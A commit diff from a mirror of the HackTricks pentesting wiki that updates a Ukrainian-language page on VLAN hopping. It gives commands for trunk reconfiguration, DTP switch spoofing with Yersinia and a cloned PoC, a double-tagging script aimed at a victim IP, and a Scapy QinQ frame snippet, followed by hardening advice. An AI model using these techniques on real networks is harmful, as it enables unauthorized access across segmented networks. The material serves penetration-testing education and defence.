mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/generic-methodologies-and-resources/pentesting-network/
This commit is contained in:
parent
e543cf99c4
commit
d1d4ffe4f9
@ -2,15 +2,15 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
Якщо є прямий доступ до комутатора, сегментацію VLAN можна обійти. Це передбачає переналаштування підключеного порту в режим trunk, встановлення віртуальних інтерфейсів для цільових VLAN та налаштування IP-адрес, або динамічно (DHCP), або статично, залежно від сценарію (**для отримання додаткової інформації перегляньте [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)).**
|
||||
Якщо є прямий доступ до комутатора, сегментацію VLAN можна обійти. Це передбачає переналаштування підключеного порту в режим trunk, створення віртуальних інтерфейсів для цільових VLAN та налаштування IP-адрес, або динамічно (DHCP), або статично, залежно від сценарію (**для отримання додаткової інформації перегляньте [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)).**
|
||||
|
||||
Спочатку необхідно ідентифікувати конкретний підключений порт. Це зазвичай можна зробити за допомогою повідомлень CDP або шляхом пошуку порту через маску **include**.
|
||||
Спочатку необхідно ідентифікувати конкретний підключений порт. Це зазвичай можна зробити через повідомлення CDP або шляхом пошуку порту за допомогою маски **include**.
|
||||
|
||||
**Якщо CDP не працює, ідентифікацію порту можна спробувати здійснити, шукаючи MAC-адресу**:
|
||||
```
|
||||
SW1(config)# show mac address-table | include 0050.0000.0500
|
||||
```
|
||||
Перед переходом в режим trunk, слід скласти список існуючих VLAN та визначити їх ідентифікатори. Ці ідентифікатори потім призначаються інтерфейсу, що дозволяє отримувати доступ до різних VLAN через trunk. Порт, що використовується, наприклад, асоційований з VLAN 10.
|
||||
Перед переходом в режим trunk слід скласти список існуючих VLAN та визначити їх ідентифікатори. Ці ідентифікатори потім призначаються інтерфейсу, що дозволяє отримати доступ до різних VLAN через trunk. Порт, що використовується, наприклад, асоційований з VLAN 10.
|
||||
```
|
||||
SW1# show vlan brief
|
||||
```
|
||||
@ -44,12 +44,80 @@ sudo dhclient -v eth0.60
|
||||
```bash
|
||||
sudo ifconfig eth0.10 10.10.10.66 netmask 255.255.255.0
|
||||
```
|
||||
З'єднання перевіряється шляхом ініціювання ICMP запитів до стандартних шлюзів для VLAN 10, 20, 50 та 60.
|
||||
З'єднання тестується шляхом ініціювання ICMP запитів до стандартних шлюзів для VLAN 10, 20, 50 та 60.
|
||||
|
||||
Врешті-решт, цей процес дозволяє обійти сегментацію VLAN, що полегшує необмежений доступ до будь-якої VLAN мережі та готує ґрунт для подальших дій.
|
||||
Врешті-решт, цей процес дозволяє обійти сегментацію VLAN, що полегшує необмежений доступ до будь-якої VLAN мережі та створює умови для подальших дій.
|
||||
|
||||
## References
|
||||
---
|
||||
|
||||
## Інші техніки VLAN-Hopping (без привілейованого CLI комутатора)
|
||||
|
||||
Попередній метод передбачає автентифікований доступ до консолі або Telnet/SSH до комутатора. У реальних ситуаціях зловмисник зазвичай підключений до **звичайного порту доступу**. Наступні трюки рівня 2 часто дозволяють вам переміщатися вбік, не входячи в ОС комутатора:
|
||||
|
||||
### 1. Switch-Spoofing з Dynamic Trunking Protocol (DTP)
|
||||
|
||||
Комутатори Cisco, які мають увімкнений DTP, з радістю погоджуються на створення trunk, якщо партнер стверджує, що є комутатором. Створення одного **DTP “desirable”** або **“trunk”** кадру перетворює порт доступу на trunk 802.1Q, який несе *всі* дозволені VLAN.
|
||||
|
||||
*Yersinia* та кілька PoC автоматизують процес:
|
||||
```bash
|
||||
# Become a trunk using Yersinia (GUI)
|
||||
$ sudo yersinia -G # Launch GUI → Launch attack → DTP → enabling trunking
|
||||
|
||||
# Python PoC (dtp-spoof)
|
||||
$ git clone https://github.com/fleetcaptain/dtp-spoof.git
|
||||
$ sudo python3 dtp-spoof/dtp-spoof.py -i eth0 --desirable
|
||||
```
|
||||
Як тільки порт переключається на trunk, ви можете створити підінтерфейси 802.1Q і здійснити поворот точно так, як показано в попередньому розділі. Сучасні ядра Linux більше не вимагають *vconfig*; натомість використовуйте *ip link*:
|
||||
```bash
|
||||
sudo modprobe 8021q
|
||||
sudo ip link add link eth0 name eth0.30 type vlan id 30
|
||||
sudo ip addr add 10.10.30.66/24 dev eth0.30
|
||||
sudo ip link set eth0.30 up
|
||||
```
|
||||
### 2. Подвійне тегування (Зловживання Native-VLAN)
|
||||
|
||||
Якщо зловмисник знаходиться на **native (нетегованому) VLAN**, спеціально підготовлений кадр з *двома* заголовками 802.1Q може "перепригнути" на другий VLAN, навіть коли порт заблокований в режимі доступу. Інструменти, такі як **VLANPWN DoubleTagging.py** (оновлення 2022-2024), автоматизують ін'єкцію:
|
||||
```bash
|
||||
python3 DoubleTagging.py \
|
||||
--interface eth0 \
|
||||
--nativevlan 1 \
|
||||
--targetvlan 20 \
|
||||
--victim 10.10.20.24 \
|
||||
--attacker 10.10.1.54
|
||||
```
|
||||
Проходження пакета:
|
||||
1. Зовнішній тег (1) видаляється першим комутатором, оскільки він відповідає рідному VLAN.
|
||||
2. Внутрішній тег (20) тепер відкритий; кадр пересилається на trunk до VLAN 20.
|
||||
|
||||
Ця техніка все ще працює у 2025 році на мережах, які залишають рідний VLAN за замовчуванням і приймають не теговані кадри.
|
||||
|
||||
### 3. QinQ (802.1ad) Стекування
|
||||
|
||||
Багато корпоративних ядер підтримують *Q-in-Q* інкапсуляцію постачальника послуг. Де це дозволено, зловмисник може тунелювати довільний трафік з тегом 802.1Q всередині постачальника (S-тег), щоб перетнути зони безпеки. Захопіть для 802.1ad ethertype 0x88a8 і спробуйте видалити зовнішній тег за допомогою Scapy:
|
||||
```python
|
||||
from scapy.all import *
|
||||
outer = 100 # Service tag
|
||||
inner = 30 # Customer / target VLAN
|
||||
payload = Ether(dst="ff:ff:ff:ff:ff:ff")/Dot1Q(vlan=inner)/IP(dst="10.10.30.1")/ICMP()
|
||||
frame = Dot1Q(type=0x88a8, vlan=outer)/payload
|
||||
sendp(frame, iface="eth0")
|
||||
```
|
||||
---
|
||||
|
||||
## Рекомендації щодо захисту
|
||||
|
||||
1. Вимкніть DTP на всіх портах, що виходять до користувачів: `switchport mode access` + `switchport nonegotiate`.
|
||||
2. Змініть рідний VLAN на кожному trunk на **невикористовуваний, чорний VLAN** і позначте його: `vlan dot1q tag native`.
|
||||
3. Виріжте непотрібні VLAN на trunk: `switchport trunk allowed vlan 10,20`.
|
||||
4. Застосуйте безпеку портів, DHCP snooping та динамічну перевірку ARP, щоб обмежити діяльність зловмисного рівня 2.
|
||||
5. Віддавайте перевагу приватним VLAN або сегментації L3 замість того, щоб покладатися лише на розділення 802.1Q.
|
||||
|
||||
---
|
||||
|
||||
## Посилання
|
||||
|
||||
- [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)
|
||||
- VLANPWN attack toolkit – <https://github.com/casterbytethrowback/VLANPWN>
|
||||
- Twingate "Що таке VLAN Hopping?" (Серпень 2024) – <https://www.twingate.com/blog/glossary/vlan%20hopping>
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user